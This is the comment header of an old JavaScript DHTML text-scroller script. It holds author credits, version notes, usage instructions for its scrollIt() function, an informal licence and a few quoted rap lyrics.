// ASM SCROLLER 2.0 - (c) 2000 Brent Gustafson, vitaflo.com and assembler.org
// Turns to TAKA SCROLLER 0.5b - (c) 2001 Omoto Takashi
//
// VERSION UPDATES:
//
// - 0.1b Simple implementation. Lots of extra code and a hack to call init()
// - 0.5b Kills static varables, adds updateSize() function. Now more easy to use.
// - 0.6(final) Now can move 5 diferent windows
//
// How to use:
//
// Just like ASM SCROLLER, but calls to scrollIt() must be done as:
//
//   scrollIt('Scroll Up',1,'text','textClipping', layernumb);
//
// where 'text' and 'textClipping' are the DIV id's for the text to be scrolled and
// the clipping layer. As for layernub, it allows you to keep more than 1 scroller.
// As in ASM Scroller but just add a number for every extra scroll you want to add.
//
// ******************************** NOTES *************************************
// * Quick hack for Versus site, allowing several clip windows under the same *
// * size of code, making more calls and making the move call more            *
// * explicit. Original comments follow. Dibs for Brent for a great code.     *
// ****************************************************************************
//
// Feel free to hack around with this code for personal use, it's open source
// so do what ya want w/ it.  Though a link would be nice. ;)  While this code
// doesn't have a ton of documentation, please remember that I am a busy man,
// so support of this code will be very minimal.  Use at your own risk.
//
// Follow me into a solo, get in the FLO
// And you can picture like a photo
// Music mixed mellow maintains to make 
// Melodies for MC's motivates the breaks 
// I'm everlasting, I can go on for days and days 
// With rhyme displays that engrave deep as X-rays
